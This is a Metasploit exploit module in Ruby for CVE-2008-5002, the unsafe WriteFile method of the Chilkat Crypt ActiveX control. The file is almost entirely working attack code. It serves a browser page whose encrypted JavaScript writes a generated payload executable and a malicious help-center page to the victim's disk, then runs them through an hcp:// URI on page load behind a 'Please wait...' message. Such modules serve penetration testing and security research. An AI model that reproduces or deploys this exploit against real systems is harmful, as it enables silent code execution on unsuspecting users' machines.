144 lines
3.8 KiB
Ruby
144 lines
3.8 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::EXE
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Chilkat Crypt ActiveX WriteFile Unsafe Method',
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'Description' => %q{
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This module allows attackers to execute code via the 'WriteFile' unsafe method of
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Chilkat Software Inc's Crypt ActiveX control.
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This exploit is based on shinnai's exploit that uses an hcp:// protocol URI to
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execute our payload immediately. However, this method requires that the victim user
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be browsing with Administrator. Additionally, this method will not work on newer
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versions of Windows.
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NOTE: This vulnerability is still unpatched. The latest version of Chilkat Crypt at
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the time of this writing includes ChilkatCrypt2.DLL version 4.4.4.0.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'shinnai', 'jduck' ],
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'References' =>
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[
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[ 'CVE', '2008-5002' ],
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[ 'OSVDB', '49510' ],
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[ 'BID', '32073' ],
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[ 'EDB', '6963' ]
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],
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'Payload' =>
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{
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'Space' => 2048
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', { } ],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Nov 03 2008'
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))
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@javascript_encode_key = rand_text_alpha(rand(10) + 10)
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end
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def autofilter
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false
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end
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def check_dependencies
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use_zlib
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end
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def on_request_uri(cli, request)
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if (!request.uri.match(/\?\w+/))
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send_local_redirect(cli, "?#{@javascript_encode_key}")
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return
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end
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# Set parameters
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fnname = rand_text_alpha(8+rand(8))
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si_name = "msinfo" # must be this, other names don't seem to work
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exe_name = rand_text_alpha(8+rand(8))
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hcp_path = "C:\\WINDOWS\\PCHEALTH\\HELPCTR\\System\\sysinfo\\#{si_name}.htm"
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hcp_url = "hcp:\\x2f\\x2fsystem/sysinfo/#{si_name}.htm"
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exe_path = "C:\\#{exe_name}.exe"
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# Generate HCP data
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hcp_data = %Q|<object classid='clsid:0355854A-7F23-47E2-B7C3-97EE8DD42CD8' id='compatUI'></object>
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<script language='vbscript'>
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compatUI.RunApplication 1, "#{exe_path}", 1
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</script>
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# (Re-)Generate the EXE payload
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return if ((p = regenerate_payload(cli)) == nil)
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exe_data = generate_payload_exe({ :code => p.encoded })
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# Encode variables
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hcp_str = Rex::Text.to_unescape(hcp_data)
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hcp_path.gsub!(/\\/, '\\\\\\\\')
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exe_str = Rex::Text.to_unescape(exe_data)
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exe_path.gsub!(/\\/, '\\\\\\\\')
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# Build the final JS
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js = %Q|
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function #{fnname}()
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{
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var my_unescape = unescape;
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var obj = new ActiveXObject("ChilkatCrypt2.ChilkatCrypt2");
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var exe_path = "#{exe_path}";
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var exe_str = "#{exe_str}";
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var exe_data = my_unescape(exe_str);
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obj.WriteFile(exe_path, exe_data);
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var hcp_str = "#{hcp_str}";
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var hcp_data = my_unescape(hcp_str);
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var hcp_path = "#{hcp_path}";
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obj.WriteFile(hcp_path, hcp_data);
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window.location = "#{hcp_url}";
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}
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=begin
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# Obfuscate the javascript
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opts = {
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'Strings' => false, # didn't work in this case
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'Symbols' => {
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'Variables' => %w{ my_unescape obj exe_path exe_str exe_data hcp_str hcp_data hcp_path }
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}
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}
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js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
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js.obfuscate(memory_sensitive: true)
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=end
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js = encrypt_js(js, @javascript_encode_key)
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# Build the final HTML
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content = %Q|<html>
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<head>
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<script language=javascript>
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#{js}
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</script>
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</head>
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<body onload="#{fnname}()">
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Please wait...
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</body>
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</html>
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print_status("Sending #{self.name}")
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send_response_html(cli, content)
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handler(cli)
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end
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end
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